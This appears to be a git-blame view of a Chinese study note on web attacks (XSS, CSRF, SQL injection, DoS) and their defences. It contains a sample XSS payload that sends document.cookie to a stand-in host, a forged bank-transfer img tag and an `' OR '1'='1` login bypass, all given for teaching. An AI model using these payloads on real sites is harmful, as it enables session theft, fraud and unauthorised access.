CS-Notes/docs/notes/攻击技术.md

201 lines
7.3 KiB
Java
Raw Normal View History

2019-04-21 10:36:08 +08:00
<!-- GFM-TOC -->
2019-03-08 21:41:45 +08:00
* [跨站脚本攻击](#一跨站脚本攻击)
* [跨站请求伪造](#二跨站请求伪造)
* [SQL 注入攻击](#三sql-注入攻击)
* [拒绝服务攻击](#四拒绝服务攻击)
* [参考资料](#参考资料)
2019-04-21 10:36:08 +08:00
<!-- GFM-TOC -->
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
# 跨站脚本攻击
## 概念
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
跨站脚本攻击Cross-Site Scripting, XSS可以将代码注入到用户浏览的网页上这种代码包括 HTML JavaScript
## 攻击原理
2018-09-04 00:04:01 +08:00
2018-07-28 01:05:53 +08:00
例如有一个论坛网站攻击者可以在上面发布以下内容
```html
2019-03-27 20:57:37 +08:00
<script>location.href="//domain.com/?c=" + document.cookie</script>
2018-07-28 01:05:53 +08:00
```
之后该内容可能会被渲染成以下形式
```html
2019-03-27 20:57:37 +08:00
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
2018-07-28 01:05:53 +08:00
```
2019-03-27 20:57:37 +08:00
另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie如果这个论坛网站通过 Cookie 管理用户登录状态那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
## 危害
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
- 窃取用户的 Cookie
- 伪造虚假的输入表单骗取个人信息
- 显示伪造的文章或者图片
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
## 防范手段
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
### 1. 设置 Cookie HttpOnly
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
设置了 HttpOnly Cookie 可以防止 JavaScript 脚本调用就无法通过 document.cookie 获取用户 Cookie 信息
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
### 2. 过滤特殊字符
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
例如将 `<` 转义为 `&lt;` `>` 转义为 `&gt;`从而避免 HTML Jascript 代码的运行
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
富文本编辑器允许用户输入 HTML 代码就不能简单地将 `<` 等字符进行过滤了极大地提高了 XSS 攻击的可能性
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
富文本编辑器通常采用 XSS filter 来防范 XSS 攻击通过定义一些标签白名单或者黑名单从而不允许有攻击性的 HTML 代码的输入
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
以下例子中form script 等标签都被转义 h p 等标签将会保留
2018-07-28 01:05:53 +08:00
```html
2019-03-27 20:57:37 +08:00
<h1 id="title">XSS Demo</h1>
2018-07-28 01:05:53 +08:00
2018-09-04 00:04:01 +08:00
<p>123</p>
2018-07-28 01:05:53 +08:00
<form>
2019-03-27 20:57:37 +08:00
<input type="text" name="q" value="test">
2018-07-28 01:05:53 +08:00
</form>
<pre>hello</pre>
2019-03-27 20:57:37 +08:00
<script type="text/javascript">
2018-07-28 01:05:53 +08:00
alert(/xss/);
</script>
```
```html
2019-03-27 20:57:37 +08:00
<h1>XSS Demo</h1>
2018-07-28 01:05:53 +08:00
2018-09-04 00:04:01 +08:00
<p>123</p>
2018-07-28 01:05:53 +08:00
&lt;form&gt;
2019-03-27 20:57:37 +08:00
&lt;input type="text" name="q" value="test"&gt;
2018-07-28 01:05:53 +08:00
&lt;/form&gt;
<pre>hello</pre>
2019-03-27 20:57:37 +08:00
&lt;script type="text/javascript"&gt;
2018-07-28 01:05:53 +08:00
alert(/xss/);
&lt;/script&gt;
```
2019-03-27 20:57:37 +08:00
> [XSS 过滤在线测试](http://jsxss.com/zh/try.html)
2018-09-04 00:04:01 +08:00
2019-03-27 20:57:37 +08:00
# 跨站请求伪造
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
## 概念
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
跨站请求伪造Cross-site request forgeryCSRF是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作如发邮件发消息甚至财产操作如转账和购买商品由于浏览器曾经认证过所以被访问的网站会认为是真正的用户操作而去执行
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户浏览器的信任
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
## 攻击原理
2018-09-04 00:04:01 +08:00
2019-03-27 20:57:37 +08:00
假如一家银行用以执行转账操作的 URL 地址如下
2018-07-28 01:05:53 +08:00
```
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
```
那么一个恶意攻击者可以在另一个网站上放置如下代码
```
2019-03-27 20:57:37 +08:00
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">
2018-07-28 01:05:53 +08:00
```
2019-03-27 20:57:37 +08:00
如果有账户名为 Alice 的用户访问了恶意站点而她之前刚访问过银行不久登录信息尚未过期那么她就会损失 1000 美元
2018-07-28 01:05:53 +08:00
这种恶意的网址可以有很多种形式藏身于网页中的许多地方此外攻击者也不需要控制放置恶意网址的网站例如他可以将这种地址藏在论坛博客等任何用户生成内容的网站中这意味着如果服务器端没有合适的防御措施的话用户即使访问熟悉的可信网站也有受攻击的危险
2019-03-27 20:57:37 +08:00
通过例子能够看出攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权也不能直接窃取用户的任何信息他们能做到的是欺骗用户浏览器让其以用户的名义执行操作
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
## 防范手段
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
### 1. 检查 Referer 首部字段
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
Referer 首部字段位于 HTTP 报文中用于标识请求来源的地址检查这个首部字段并要求请求来源的地址在同一个域名下可以极大的防止 CSRF 攻击
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
这种办法简单易行工作量低仅需要在关键访问处增加一步校验但这种办法也有其局限性因其完全依赖浏览器发送正确的 Referer 字段虽然 HTTP 协议对此字段的内容有明确的规定但并无法保证来访的浏览器的具体实现亦无法保证浏览器没有安全漏洞影响到此字段并且也存在攻击者攻击某些浏览器篡改其 Referer 字段的可能
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
### 2. 添加校验 Token
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
在访问敏感数据请求时要求用户浏览器提供不保存在 Cookie 并且攻击者无法伪造的数据作为校验例如服务器生成随机数并附加在表单中并要求客户端传回这个随机数
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
### 3. 输入验证码
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
因为 CSRF 攻击是在用户无意识的情况下发生的所以要求用户输入验证码可以让用户知道自己正在做的操作
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
# SQL 注入攻击
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
## 概念
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
服务器上的数据库运行非法的 SQL 语句主要通过拼接来完成
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
## 攻击原理
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
例如一个网站登录验证的 SQL 查询代码为
2018-07-28 01:05:53 +08:00
```sql
2019-03-27 20:57:37 +08:00
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
2018-07-28 01:05:53 +08:00
```
如果填入以下内容
```sql
2019-03-27 20:57:37 +08:00
userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
2018-07-28 01:05:53 +08:00
```
2019-03-27 20:57:37 +08:00
那么 SQL 查询字符串为
2018-07-28 01:05:53 +08:00
```sql
2019-03-27 20:57:37 +08:00
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
2018-07-28 01:05:53 +08:00
```
此时无需验证通过就能执行以下查询
```sql
2019-03-27 20:57:37 +08:00
strSQL = "SELECT * FROM users;"
2018-07-28 01:05:53 +08:00
```
2019-03-27 20:57:37 +08:00
## 防范手段
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
### 1. 使用参数化查询
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
Java 中的 PreparedStatement 是预先编译的 SQL 语句可以传入适当参数并且多次执行由于没有拼接的过程因此可以防止 SQL 注入的发生
2018-07-28 01:05:53 +08:00
```java
2019-03-27 20:57:37 +08:00
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
2018-07-28 01:05:53 +08:00
```
2019-03-27 20:57:37 +08:00
### 2. 单引号转换
将传入的参数中的单引号转换为连续两个单引号PHP 中的 Magic quote 可以完成这个功能
# 拒绝服务攻击
拒绝服务攻击denial-of-service attackDoS亦称洪水攻击其目的在于使目标电脑的网络或系统资源耗尽使服务暂时中断或停止导致其正常用户无法访问
分布式拒绝服务攻击distributed denial-of-service attackDDoS指攻击者使用两个或以上被攻陷的电脑作为僵尸向特定的目标发动拒绝服务式攻击
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
# 参考资料
2018-07-28 01:05:53 +08:00
2019-03-27 20:57:37 +08:00
- [维基百科跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
- [维基百科SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
- [维基百科跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
- [维基百科拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
2019-03-11 09:50:13 +08:00
2019-10-28 00:25:00 +08:00
<div align="left"><img width="320px" src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/githubio/公众号二维码-1.png"></img></div>